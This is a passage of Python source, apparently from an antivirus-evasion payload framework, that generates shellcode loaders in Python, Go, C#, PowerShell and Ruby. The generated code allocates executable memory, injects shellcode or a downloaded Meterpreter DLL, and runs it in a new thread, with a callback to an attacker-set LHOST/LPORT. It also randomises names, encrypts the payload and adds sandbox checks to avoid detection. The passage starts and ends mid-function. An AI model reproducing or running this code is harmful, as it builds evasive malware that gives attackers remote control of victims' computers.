payload_code += '\t' * num_tabs_required + "\t\t" + randBaseName + " = ''.join(random.sample(string.ascii_letters + string.digits,3))\n"
payload_code += '\t' * num_tabs_required + "\t\t" + randLettersName + " = ''.join(sorted(list(string.ascii_letters+string.digits), key=lambda *args: random.random()))\n"
payload_code += '\t' * num_tabs_required + "\t\tfor " + randLetterSubName + " in " + randLettersName + ":\n"
payload_code += '\t' * num_tabs_required + "\t\t\tif " + sumMethodName + "(" + randBaseName + " + " + randLetterSubName + ") == 92: return " + randBaseName + " + " + randLetterSubName + "\n"
# method that connects to a host/port over http and downloads the hosted data
payload_code += '\t' * num_tabs_required + "def " + downloadMethodName + "(" + hostName + ", " + portName + "):\n"
payload_code += '\t' * num_tabs_required + "\t" + proxy_var + " = urllib.request.ProxyHandler({})\n"
payload_code += '\t' * num_tabs_required + "\t" + opener_var + " = urllib.request.build_opener(" + proxy_var + ")\n"
payload_code += '\t' * num_tabs_required + "\turllib.request.install_opener(" + opener_var + ")\n"
payload_code += '\t' * num_tabs_required + "\t" + requestName + " = urllib.request.Request(\"http://\" + " + hostName + " + \":\" + str(" + portName + ") + \"/\" + " + checkinMethodName + "(), None, {'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)'})\n"
payload_code += '\t' * num_tabs_required + "\ttry:\n"
payload_code += '\t' * num_tabs_required + "\t\t" + tName + " = urllib.request.urlopen(" + requestName + ")\n"
payload_code += '\t' * num_tabs_required + "\t\ttry:\n"
payload_code += '\t' * num_tabs_required + "\t\t\tif int(" + tName + ".info()[\"Content-Length\"]) > 100000: return " + tName + ".read()\n"
payload_code += '\t' * num_tabs_required + "\t\t\telse: return ''\n"
payload_code += '\t' * num_tabs_required + "\t\texcept: return " + tName + ".read()\n"
payload_code += '\t' * num_tabs_required + "\texcept urllib.request.URLError:\n"
payload_code += '\t' * num_tabs_required + "\t\treturn ''\n"
# method to inject a reflective .dll into memory
payload_code += '\t' * num_tabs_required + "def " + injectMethodName + "(" + dataName + "):\n"
payload_code += '\t' * num_tabs_required + "\tif " + dataName + " != \"\":\n"
payload_code += '\t' * num_tabs_required + "\t\t" + byteArrayName + " = bytearray(" + dataName + ")\n"
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
payload_code += '\t' * num_tabs_required + "\t\t" + ptrName + " = " + randctypes + ".windll.kernel32.VirtualAlloc(" + randctypes + ".c_int(0)," + randctypes + ".c_int(len(" + byteArrayName + ")), " + randctypes + ".c_int(0x3000)," + randctypes + ".c_int(0x40))\n"
payload_code += '\t' * num_tabs_required + "\t\t" + bufName + " = (" + randctypes + ".c_char * len(" + byteArrayName + ")).from_buffer(" + byteArrayName + ")\n"
payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + ".windll.kernel32.RtlMoveMemory(" + randctypes + ".c_int(" + ptrName + ")," + bufName + ", " + randctypes + ".c_int(len(" + byteArrayName + ")))\n"
payload_code += '\t' * num_tabs_required + "\t\t" + handleName + " = " + randctypes + ".windll.kernel32.CreateThread(" + randctypes + ".c_int(0)," + randctypes + ".c_int(0)," + randctypes + ".c_int(" + ptrName + ")," + randctypes + ".c_int(0)," + randctypes + ".c_int(0)," + randctypes + ".pointer(" + randctypes + ".c_int(0)))\n"
payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + ".windll.kernel32.WaitForSingleObject(" + randctypes + ".c_int(" + handleName + ")," + randctypes + ".c_int(-1))\n"
# Assuming heap injection
else:
HeapVar = evasion_helpers.randomString()
payload_code += '\t' * num_tabs_required + "\t\t" + HeapVar + ' = ' + randctypes + '.windll.kernel32.HeapCreate(' + randctypes + '.c_int(0x00040000),' + randctypes + '.c_int(len(' + byteArrayName + ') * 2),' + randctypes + '.c_int(0))\n'
payload_code += '\t' * num_tabs_required + "\t\t" + ptrName + ' = ' + randctypes + '.windll.kernel32.HeapAlloc(' + randctypes + '.c_int(' + HeapVar + '),' + randctypes + '.c_int(0x00000008),' + randctypes + '.c_int(len( ' + byteArrayName + ')))\n'
payload_code += '\t' * num_tabs_required + "\t\t" + bufName + ' = (' + randctypes + '.c_char * len(' + byteArrayName + ')).from_buffer(' + byteArrayName + ')\n'
payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + ptrName + '),' + bufName + ',' + randctypes + '.c_int(len(' + byteArrayName + ')))\n'
payload_code += '\t' * num_tabs_required + "\t\t" + handleName + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + ptrName + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n'
payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + handleName + '),' + randctypes + '.c_int(-1))\n'
# download the metpreter .dll and inject it
payload_code += '\t' * num_tabs_required + data2Name + " = ''\n"
payload_code += '\t' * num_tabs_required + data2Name + " = " + downloadMethodName + "(\"" + self.required_options["LHOST"][0] + "\", " + str(self.required_options["LPORT"][0]) + ")\n"
payload_code += '\t' * num_tabs_required + injectMethodName + "(" + data2Name + ")\n"
if self.required_options["USE_PYHERION"][0].lower() == "y":
payload_code = encryption.pyherion(payload_code)
self.payload_source_code = payload_code
return
def generate(self):
# randomly generate out variable names
memCommit = evasion_helpers.randomString()
memReserve = evasion_helpers.randomString()
pageExecRW = evasion_helpers.randomString()
kernel32 = evasion_helpers.randomString()
procVirtualAlloc = evasion_helpers.randomString()
cust_func = evasion_helpers.randomString()
size = evasion_helpers.randomString()
addr = evasion_helpers.randomString()
err = evasion_helpers.randomString()
shellcode_variable = evasion_helpers.randomString()
buff = evasion_helpers.randomString()
value = evasion_helpers.randomString()
heapcreatevariable = evasion_helpers.randomString()
heapallocvariable = evasion_helpers.randomString()
heapcreateout = evasion_helpers.randomString()
errorvariable = evasion_helpers.randomString()
heapallocout = evasion_helpers.randomString()
rand_var = evasion_helpers.randomString()
procVirtualProtect = evasion_helpers.randomString()
proc_out = evasion_helpers.randomString()
vprotectendvar = evasion_helpers.randomString()
# Generate the shellcode
if not self.cli_shellcode:
Shellcode = self.shellcode.generate(self.cli_opts)
if self.shellcode.msfvenompayload:
self.payload_type = self.shellcode.msfvenompayload
elif self.shellcode.payload_choice:
self.payload_type = self.shellcode.payload_choice
self.shellcode.payload_choice = ""
# assume custom shellcode
else:
self.payload_type = 'custom'
else:
Shellcode = self.cli_shellcode
# sandbox check code
sandbox_checks, num_curlys = gamemaker.senecas_games(self)
payload_code = "package main\nimport (\n\"syscall\"\n\"unsafe\"\n\"fmt\"\n\"os\"\n"
if self.required_options["PROCESSORS"][0].lower() != "x":
payload_code += "\"runtime\"\n"
# Add in other imports based on checks being performed
if self.required_options["USERNAME"][0].lower() != "x":
payload_code += "\"strings\"\n\"os/user\"\n"
if self.required_options["HOSTNAME"][0].lower() != "x" or self.required_options["PROCCHECK"][0].lower() != 'false':
if "strings" not in payload_code:
payload_code += "\"strings\"\n"
if self.required_options["SLEEP"][0].lower() != "x":
payload_code += "\"net\"\n\"time\"\n\"encoding/binary\"\n"
if self.required_options["BADMACS"][0].lower() != 'false':
if "net" not in payload_code:
payload_code += "\"net\"\n"
if "strings" not in payload_code:
payload_code += "\"strings\"\n"
if self.required_options["UTCCHECK"][0].lower() != 'false':
if "time" not in payload_code:
payload_code += "\"time\"\n"
if self.required_options["CURSORCHECK"][0].lower() != 'false':
if "time" not in payload_code:
payload_code += "\"time\"\n"
payload_code += ")\n"
# Changes based on injection type
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
payload_code += "const (\n"
payload_code += "%s = 0x1000\n" % (memCommit)
payload_code += "%s = 0x2000\n" % (memReserve)
payload_code += "%s = 0x04\n)\n" % (pageExecRW)
payload_code += "var (\n"
# injection type
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
payload_code += "%s = 0\n" %(proc_out)
payload_code += "%s = syscall.NewLazyDLL(\"kernel32.dll\")\n" %(kernel32)
payload_code += "%s = %s.NewProc(\"VirtualAlloc\")\n" %(procVirtualAlloc, kernel32)
payload_code += "%s = %s.NewProc(\"VirtualProtect\")\n)\n" %(procVirtualProtect, kernel32)
payload_code += "func %s(%s uintptr) (uintptr, error) {\n" %(cust_func, size)
payload_code += "%s, _, %s := %s.Call(0, %s, %s|%s, %s)\n" %(addr, err, procVirtualAlloc, size, memReserve, memCommit, pageExecRW)
payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" %(addr, err, addr)
elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
payload_code += kernel32 + " = syscall.NewLazyDLL(\"kernel32.dll\")\n"
payload_code += heapcreatevariable + " = " + kernel32 + ".NewProc(\"HeapCreate\")\n"
payload_code += heapallocvariable + " = " + kernel32 + ".NewProc(\"HeapAlloc\")\n)\n"
payload_code += "func %s(%s uintptr) (uintptr, error) {\n" %(cust_func, size)
payload_code += heapcreateout + ", _, " + errorvariable + " := " + heapcreatevariable + ".Call(0x00040000, " + size + ", 0)\n"
payload_code += heapallocout + ", _, _ := " + heapallocvariable + ".Call(" + heapcreateout + ", 0x00000008, " + size + ")\n"
payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" %(heapallocout, errorvariable, heapallocout)
payload_code += "var %s string = \"%s\"\n" %(shellcode_variable, Shellcode)
payload_code += "func main() {\n"
# Sandbox code goes here
if sandbox_checks != '':
payload_code += sandbox_checks
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
payload_code += "%s, %s := %s(uintptr(len(%s)))\n" %(addr, err, cust_func, shellcode_variable)
elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
payload_code += "%s, %s := %s(uintptr(len(%s)))\n" %(heapallocout, err, cust_func, shellcode_variable)
payload_code += "if %s != nil {\nfmt.Println(%s)\nos.Exit(1)\n}\n" %(err, err)
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
payload_code += "%s := (*[890000]byte)(unsafe.Pointer(%s))\n" %(buff, addr)
payload_code += "var %s uintptr\n" %(proc_out)
payload_code += "var %s uintptr\n" %(vprotectendvar)
payload_code += "for " + rand_var + ", %s := range []byte(%s) {\n" %(value, shellcode_variable)
payload_code += buff + "[" + rand_var + "] = %s\n}\n" % (value)
payload_code += "%s, _, %s = %s.Call(%s, uintptr(len(%s)), 0x20, uintptr(unsafe.Pointer(&%s)))\n" %(proc_out, err, procVirtualProtect, addr, shellcode_variable, vprotectendvar)
payload_code += "if %s == 0 {\nos.Exit(1)\n}\n" %(proc_out)
elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
payload_code += "%s := (*[890000]byte)(unsafe.Pointer(%s))\n" %(buff, heapallocout)
payload_code += "for " + rand_var + ", %s := range []byte(%s) {\n" %(value, shellcode_variable)
payload_code += buff + "[" + rand_var + "] = %s\n}\n" % (value)
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
payload_code += "syscall.Syscall(%s, 0, 0, 0, 0)\n}\n" % (addr)
elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
payload_code += "syscall.Syscall(%s, 0, 0, 0, 0)\n}\n" % (heapallocout)
payload_code += '}' * num_curlys
self.payload_source_code = payload_code
return
def generate(self):
# Generate the shellcode
if not self.cli_shellcode:
Shellcode = self.shellcode.generate(self.cli_opts)
if self.shellcode.msfvenompayload:
self.payload_type = self.shellcode.msfvenompayload
elif self.shellcode.payload_choice:
self.payload_type = self.shellcode.payload_choice
self.shellcode.payload_choice = ""
# assume custom shellcode
else:
self.payload_type = 'custom'
else:
Shellcode = self.cli_shellcode
Shellcode = "0" + ",0".join(Shellcode.split("\\")[1:])
# randomize all our variable names, yo'
namespaceName = evasion_helpers.randomString()
className = evasion_helpers.randomString()
bytearrayName = evasion_helpers.randomString()
funcAddrName = evasion_helpers.randomString()
hThreadName = evasion_helpers.randomString()
threadIdName = evasion_helpers.randomString()
pinfoName = evasion_helpers.randomString()
rand_bool = evasion_helpers.randomString()
random_out = evasion_helpers.randomString()
num_tabs_required = 0
# get 12 random variables for the API imports
r = [evasion_helpers.randomString() for x in range(16)]
y = [evasion_helpers.randomString() for x in range(17)]
#required syntax at the beginning of any/all payloads
payload_code = "using System; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading;\n"
payload_code += "namespace %s { class %s {\n" % (namespaceName, className)
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
payload_code += """\t\t[DllImport(\"kernel32\")] private static extern IntPtr VirtualAlloc(UInt32 %s,UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] public static extern bool VirtualProtect(IntPtr %s, uint %s, uint %s, out uint %s);\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, IntPtr %s,IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);\n"""%(r[0],r[1],r[2],r[3],r[4],r[5],r[6],r[7],r[8],r[9],r[10],r[11], r[12], r[13], r[14], r[15])
elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 HeapCreate(UInt32 %s, UInt32 %s, UInt32 %s); \n[DllImport(\"kernel32\")] private static extern UInt32 HeapAlloc(UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 RtlMoveMemory(UInt32 %s, byte[] %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s, IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);"""%(y[0],y[1],y[2],y[3],y[4],y[5],y[6],y[7],y[8],y[9],y[10],y[11],y[12],y[13],y[14],y[15],y[16])
payload_code += "static void Main() {\n"
payload_code2, num_tabs_required = gamemaker.senecas_games(self)
payload_code = payload_code + payload_code2
num_tabs_required += 2
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
payload_code += '\t' * num_tabs_required + "byte[] %s = {%s};" % (bytearrayName, Shellcode)
payload_code += '\t' * num_tabs_required + "IntPtr %s = VirtualAlloc(0, (UInt32)%s.Length, 0x3000, 0x04);\n" % (funcAddrName, bytearrayName)
payload_code += '\t' * num_tabs_required + "Marshal.Copy(%s, 0, (IntPtr)(%s), %s.Length);\n" % (bytearrayName, funcAddrName, bytearrayName)
payload_code += '\t' * num_tabs_required + "IntPtr %s = IntPtr.Zero; UInt32 %s = 0; IntPtr %s = IntPtr.Zero;\n" %(hThreadName, threadIdName, pinfoName)
payload_code += '\t' * num_tabs_required + "uint %s;\n" %(random_out)
payload_code += '\t' * num_tabs_required + "bool %s = VirtualProtect(%s, (uint)0x1000, (uint)0x20, out %s);\n" %(rand_bool, funcAddrName, random_out)
payload_code += '\t' * num_tabs_required + "%s = CreateThread(0, 0, %s, %s, 0, ref %s);\n" % (hThreadName, funcAddrName, pinfoName, threadIdName)
payload_code += '\t' * num_tabs_required + "WaitForSingleObject(%s, 0xFFFFFFFF);}\n" % (hThreadName)
# payload_code += "private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;\n"
elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
rand_heap = evasion_helpers.randomString()
rand_ptr = evasion_helpers.randomString()
rand_var = evasion_helpers.randomString()
payload_code += '\t' * num_tabs_required + "byte[] %s = {%s};\n" % (bytearrayName, Shellcode)
payload_code += '\t' * num_tabs_required + 'UInt32 {} = HeapCreate(0x00040000, (UInt32){}.Length, 0);\n'.format(rand_heap, bytearrayName)
payload_code += '\t' * num_tabs_required + 'UInt32 {} = HeapAlloc({}, 0x00000008, (UInt32){}.Length);\n'.format(rand_ptr, rand_heap, bytearrayName)
payload_code += '\t' * num_tabs_required + 'RtlMoveMemory({}, {}, (UInt32){}.Length);\n'.format(rand_ptr, bytearrayName, bytearrayName)
payload_code += '\t' * num_tabs_required + 'UInt32 {} = 0;\n'.format(rand_var)
payload_code += '\t' * num_tabs_required + 'IntPtr {} = CreateThread(0, 0, {}, IntPtr.Zero, 0, ref {});\n'.format(hThreadName, rand_ptr, rand_var)
payload_code += '\t' * num_tabs_required + 'WaitForSingleObject({}, 0xFFFFFFFF);}}\n'.format(hThreadName)
while (num_tabs_required != 0):
payload_code += '\t' * num_tabs_required + '}'
num_tabs_required -= 1
if self.required_options["USE_ARYA"][0].lower() == "y":
payload_code = encryption.arya(payload_code)
self.payload_source_code = payload_code
return
def psRaw(self):
checks, num_ends = gamemaker.senecas_games(self)
# Generate the shellcode
if not self.cli_shellcode:
Shellcode = self.shellcode.generate(self.cli_opts)
if self.shellcode.msfvenompayload:
self.payload_type = self.shellcode.msfvenompayload
elif self.shellcode.payload_choice:
self.payload_type = self.shellcode.payload_choice
self.shellcode.payload_choice = ''
# assume custom shellcode
else:
self.payload_type = 'custom'
else:
Shellcode = self.cli_shellcode
Shellcode = ",0".join(Shellcode.split("\\"))[1:]
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
baseString = """$c = @"
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z);
[DllImport("msvcrt.dll")] public static extern IntPtr memset(IntPtr x, uint y, uint z);
"@\n"""
baseString += """Function Get-ProcAddress
{
Param
(
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
Function Get-DelegateType
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}\n"""
baseString += """$wut = New-Object System.Object
$VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect
$VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$why = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate)
$wut | Add-Member NoteProperty -Name VirtualProtect -Value $why\n"""
baseString += checks
baseString += """$o = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru
$x=$o::VirtualAlloc(0,0x1000,0x3000,0x04); [Byte[]]$sc = %s;
for ($i=0;$i -le ($sc.Length-1);$i++) {$o::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1) | out-null;}
$here=$wut.VirtualProtect.Invoke($x, [UInt32]0x1000, [UInt32]0x20, [Ref]0);
$z=$o::CreateThread(0,0,$x,0,0,0); Start-Sleep -Second 100000""" % (Shellcode)
elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
baseString = """$c = @"
[DllImport("kernel32.dll")] public static extern IntPtr HeapCreate(uint x, uint y, uint z);
[DllImport("kernel32.dll")] public static extern IntPtr HeapAlloc(IntPtr w, uint x, uint y);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z);
[DllImport("msvcrt.dll")] public static extern IntPtr memset(IntPtr x, uint y, uint z);
"@\n"""
baseString += checks
baseString += """$o = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru
[Byte[]]$sc = %s
$x=$o::HeapCreate(0x00040000,$sc.Length,0); $ct=$o::HeapAlloc($x,0x00000008,$sc.Length)
for ($i=0;$i -le ($sc.Length-1);$i++) {$o::memset([IntPtr]($ct.ToInt32()+$i), $sc[$i], 1) | out-null;}
$z=$o::CreateThread(0,0,$ct,0,0,0); Start-Sleep -Second 100000""" % (Shellcode)
baseString += '}\n' * num_ends
return baseString
def generate(self):
payload_code = "require 'rubygems';require 'win32/api';require 'net/http';include Win32\n"
# Add logic for adding this line, stupid bug and I have no idea
# why this is even a problem, but ruby is dumb
if self.required_options["HOSTNAME"][0] != "X" or self.required_options["DOMAIN"][0] != "X" or self.required_options["USERNAME"][0] != "X" or self.required_options["SLEEP"][0] != "X":
pass
else:
payload_code += "exit if Object.const_defined?(:Ocra)\n"
if self.required_options["HOSTNAME"][0] != "X" or self.required_options["DOMAIN"][0] != "X":
payload_code += 'require \'socket\'\n'
payload_code2, num_ends_required = gamemaker.senecas_games(self)
payload_code = payload_code + payload_code2
# randomly generate out variable names
ptrName = evasion_helpers.randomString()
threadName = evasion_helpers.randomString()
heap_name = evasion_helpers.randomString()
valloc_random = evasion_helpers.randomString()
rtlmove_random = evasion_helpers.randomString()
createthread_random = evasion_helpers.randomString()
waitfor_random = evasion_helpers.randomString()
heapcreate_random = evasion_helpers.randomString()
heapalloc_random = evasion_helpers.randomString()
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
payload_code += "$" + valloc_random + " = API.new('VirtualAlloc', 'IIII', 'I');$" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');$" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');$" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n"
elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
payload_code += "$" + heapcreate_random + " = API.new('HeapCreate', 'III', 'I');$" + heapalloc_random + " = API.new('HeapAlloc', 'III', 'I');$" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');$" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');$" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n"
payload_code += "def ch()\n"
#payload_code += "\tchk = (\"a\"..\"z\").to_a + (\"A\"..\"Z\").to_a + (\"0\"..\"9\").to_a\n"
#payload_code += "\t32.times do\n"
#payload_code += "\t\turi = chk.sample().join()\n"
#payload_code += "\t\tchk.sort_by {rand}.each do |x|\n"
#payload_code += "\t\t\treturn(uri + x) if (uri + x).unpack(\"C*\").inject(:+) % 0x100 == 92\n"
#payload_code += "\t\tend\n"
#payload_code += "\tend\n"
payload_code += "\treturn \"WEZf\"\n"
payload_code += "end\n"
payload_code += "def ij(sc)\n"
payload_code += "\tif sc.length > 1000\n"
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
payload_code += "\t\tpt = $" + valloc_random + ".call(0,(sc.length > 0x1000 ? sc.length : 0x1000), 0x1000, 0x40)\n"
payload_code += "\t\tx = $" + rtlmove_random + ".call(pt,sc,sc.length)\n"
payload_code += "\t\tx = $" + waitfor_random + ".call($" + createthread_random + ".call(0,0,pt,0,0,0),0xFFFFFFF)\n"
elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
payload_code += "\t\t$" + heap_name + " = $" + heapcreate_random + ".call(0x0004,(sc.length > 0x1000 ? sc.length : 0x1000), 0)\n"
payload_code += "\t\t$" + ptrName + " = $" + heapalloc_random + ".call($" + heap_name + ", 0x00000008, sc.length)\n"
payload_code += "\t\tx = $" + rtlmove_random + ".call($" + ptrName + ",sc,sc.length)\n"
payload_code += "\t\tx = $" + waitfor_random + ".call($" + createthread_random + ".call(0,0,$" + ptrName + ",0,0,0),0xFFFFFFF)\n"
payload_code += "\tend\nend\n"
payload_code += "uri = URI.encode(\"http://%s:%s/#{ch()}\")\n" % (self.required_options["LHOST"][0], self.required_options["LPORT"][0])
payload_code += "uri = URI(uri)\n"
payload_code += "ij(Net::HTTP.get(uri))\n"
# Close out all the if statements
for iteration in range(num_ends_required):
payload_code += 'end\n'
self.payload_source_code = payload_code
return
def generate(self):
memCommit = evasion_helpers.randomString()
memReserve = evasion_helpers.randomString()
pageExecRW = evasion_helpers.randomString()
kernel32 = evasion_helpers.randomString()
procVirtualAlloc = evasion_helpers.randomString()
base64Url = evasion_helpers.randomString()
size = evasion_helpers.randomString()
err = evasion_helpers.randomString()
randBase = evasion_helpers.randomString()
length = evasion_helpers.randomString()
foo = evasion_helpers.randomString()
random = evasion_helpers.randomString()
outp = evasion_helpers.randomString()
i = evasion_helpers.randomString()
randTextBase64URL = evasion_helpers.randomString()
getURI = evasion_helpers.randomString()
sumVar = evasion_helpers.randomString()
checksum8 = evasion_helpers.randomString()
uri = evasion_helpers.randomString()
value = evasion_helpers.randomString()
hostAndPort = evasion_helpers.randomString()
port = self.required_options["LPORT"][0]
host = self.required_options["LHOST"][0]
response = evasion_helpers.randomString()
uriLength = randint(5, 255)
payload = evasion_helpers.randomString()
bufferVar = evasion_helpers.randomString()
x = evasion_helpers.randomString()
heapcreatevariable = evasion_helpers.randomString()
heapallocvariable = evasion_helpers.randomString()
heapcreateout = evasion_helpers.randomString()
allocvarout = evasion_helpers.randomString()
errorvariable = evasion_helpers.randomString()
errorvariabledos = evasion_helpers.randomString()
cust_func = evasion_helpers.randomString()
# sandbox check code
sandbox_checks, num_curlys = gamemaker.senecas_games(self)
payload_code = "package main\nimport (\n\"syscall\"\n\"unsafe\"\n"
payload_code += "\"io/ioutil\"\n\"math/rand\"\n\"net/http\"\n\"time\"\n"
if self.required_options["PROCESSORS"][0].lower() != "x":
payload_code += "\"runtime\"\n"
# Add in other imports based on checks being performed
if self.required_options["USERNAME"][0].lower() != "x":
payload_code += "\"strings\"\n\"os/user\"\n"
if self.required_options["MINPROCS"][0].lower() != "x":
payload_code += "\"os\"\n"
if self.required_options["HOSTNAME"][0].lower() != "x" or self.required_options["PROCCHECK"][0].lower() != 'false':
if "strings" not in payload_code:
payload_code += "\"strings\"\n"
if self.required_options["SLEEP"][0].lower() != "x":
payload_code += "\"net\"\n\"encoding/binary\"\n"
if self.required_options["BADMACS"][0].lower() != 'false':
if "net" not in payload_code:
payload_code += "\"net\"\n"
if "strings" not in payload_code:
payload_code += "\"strings\"\n"
payload_code += ")\n"
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
payload_code += "const (\n"
payload_code += "%s = 0x1000\n" % (memCommit)
payload_code += "%s = 0x2000\n" % (memReserve)
payload_code += "%s = 0x40\n)\n" % (pageExecRW)
payload_code += "var (\n"
payload_code += "%s = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_\"\n" %(base64Url)
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
payload_code += "%s = syscall.NewLazyDLL(\"kernel32.dll\")\n" % (kernel32)
payload_code += "%s = %s.NewProc(\"VirtualAlloc\")\n)\n" % (procVirtualAlloc, kernel32)
payload_code += "func %s(%s uintptr) (uintptr, error) {\n" % (cust_func, size)
payload_code += "%s, _, %s := %s.Call(0, %s, %s|%s, %s)\n" % (allocvarout, err, procVirtualAlloc, size, memReserve, memCommit, pageExecRW)
payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" % (allocvarout, err, allocvarout)
elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
payload_code += kernel32 + " = syscall.NewLazyDLL(\"kernel32.dll\")\n"
payload_code += heapcreatevariable + " = " + kernel32 + ".NewProc(\"HeapCreate\")\n"
payload_code += heapallocvariable + " = " + kernel32 + ".NewProc(\"HeapAlloc\")\n)\n"
payload_code += "func %s(%s uintptr) (uintptr, error) {\n" % (cust_func, size)
payload_code += heapcreateout + ", _, " + errorvariable + " := " + heapcreatevariable + ".Call(0x00040000, " + size + ", 0)\n"
payload_code += allocvarout + ", _, " + errorvariabledos + " := " + heapallocvariable + ".Call(" + heapcreateout + ", 0x00000008, " + size + ")\n"
payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" % (allocvarout, err, allocvarout)
payload_code += "func %s(%s int, %s []byte) string {\n" % (randBase, length, foo)
payload_code += "%s := rand.New(rand.NewSource(time.Now().UnixNano()))\n" % (random)
payload_code += "var %s []byte\n" % (outp)
